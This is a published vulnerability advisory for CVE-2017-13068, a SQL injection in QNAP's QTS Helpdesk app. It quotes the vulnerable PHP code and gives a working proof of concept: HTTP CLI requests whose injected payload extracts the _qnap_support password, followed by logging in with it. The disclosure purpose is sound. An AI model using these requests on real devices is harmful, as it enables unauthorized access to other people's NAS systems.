SSD Advisory – QNAP HelpDesk SQL Injection
Credit to Author: SSD / Maor Schwartz| Date: Mon, 09 Oct 2017 14:26:28 +0000
Want to get paid for a vulnerability similar to this one?
Contact us at: sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom
Vulnerability Summary
The following advisory describes a SQL injection found in QTS Helpdesk versions 1.1.12 and earlier.
QNAP helpdesk: “Starting from QTS 4.2.2 you can use the built-in Helpdesk app to directly submit help requests to QNAP from your NAS. To do so, ensure your NAS can reach the Internet, open Helpdesk from the App Center, and create a new Help Request. Helpdesk will automatically collect and attach NAS system information and system logs to your request, and you can provide other information such as the steps necessary to reproduce the error, the error message and screenshots so we can identify the problem faster.”
Credit
An independent security researcher, Kacper Szurek, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor response
QNAP has released patches to address this vulnerability.
For more information: https://www.qnap.com/en/security-advisory/nas-201709-29
CVE: CVE-2017-13068
Vulnerability details
In order to trigger the vulnerability, a user needs to have Remote Support option enabled.
User controlled input is not sufficiently sanitized, by sending a CLI request to www/App/Controllers/Cli/SupportUtils.php an attacker can trigger an SQL injection and receive the password of the _qnap_support user.
Code which is responsible for checking permissions is commented:
We can access registerExternalLog which executes setExternalLog
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | ``` public function registerExternalLog($appName, $appLogPath) { $supportUtils = $this->model(‘SupportUtilsModel’); if (file_exists($appLogPath) && is_dir($appLogPath)) { printf(“rn[%s] You should assign a log file, not folder.rn”, colorize($appName, ‘ERROR’)); } else if (file_exists($appLogPath) && !is_dir($appLogPath)) { if ($supportUtils->setExternalLog($appName, $appLogPath)) { printf(“rn[%s] Log path %s was registered.rn”, colorize($appName, ‘SUCCESS’), colorize($appLogPath, ‘SUCCESS’)); } else { printf(“rn[%s] Register external log failed.rn”, colorize($appName, ‘ERROR’), colorize($appLogPath, ‘ERROR’)); } } else { printf(“rn[%s] Log file not found.rn”, colorize($appName, ‘ERROR’)); } } ``` |
We can see the SQL injection in $appName in www/App/Models/SupportUtilsModel.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | ``` public function setExternalLog($appName, $appLogPath) { $now = time(); $queryStr = “INSERT INTO external_log (appName, appLogPath, createdTime) VALUES (‘$appName’, ‘$appLogPath’, ‘$now’)”; $rowCount = 0; try { $rowCount = $this->db->queryNoneResult($queryStr); } catch (Exception $e) { return false; } return $rowCount; } ``` |
Proof of Concept
First we need to check if the remote support is enabled on victims machine. We can check by sending the following CLI request:
1 2 3 4 5 6 7 8 9 10 | ``` CLI /apps/qdesk/cli/supportutils/upload/a HTTP/1.1 Host: 192.168.1.55:8080 Upgrade–Insecure–Requests: 1 User–Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept–Encoding: gzip, deflate, sdch Accept–Language: pl–PL,pl;q=0.8,en–US;q=0.6,en;q=0.4 Connection: close ``` |
If its not enable “Remote session is not enabled” text will be displayed.
Now we can trigger the SQL Injection by sending the following request:
1 2 3 4 5 6 7 8 9 10 | ```` CLI /apps/qdesk/cli/supportutils/applog/reg/bb‘,(SELECT/*a*/cfgValue/*a*/FROM/*a*/configuration/*a*/WHERE/*a*/cfgKey=’tempPw‘),’149881968‘)/*/::/etc/passwd HTTP/1.1 Host: 192.168.1.55:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept–Encoding: gzip, deflate, sdch Accept–Language: pl–PL,pl;q=0.8,en–US;q=0.6,en;q=0.4 Connection: close ```` |
The server will respond with
1 2 3 4 5 6 7 8 9 10 11 | ```` CLI /apps/qdesk/cli/supportutils/applog/list HTTP/1.1 Host: 192.168.1.55:8080 Cache–Control: max–age=0 Upgrade–Insecure–Requests: 1 User–Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept–Encoding: gzip, deflate, sdch Accept–Language: pl–PL,pl;q=0.8,en–US;q=0.6,en;q=0.4 Connection: close ```` |
And the output should look like:
1 2 3 4 | ```` | App Name | Log Path | Create Time | | bb | BqGgseHn <— this is password | 1974–10–02 01:52:48 | ````` |
Now you can login as:
Login: _qnap_support
Password: Obtained from SQL Injection
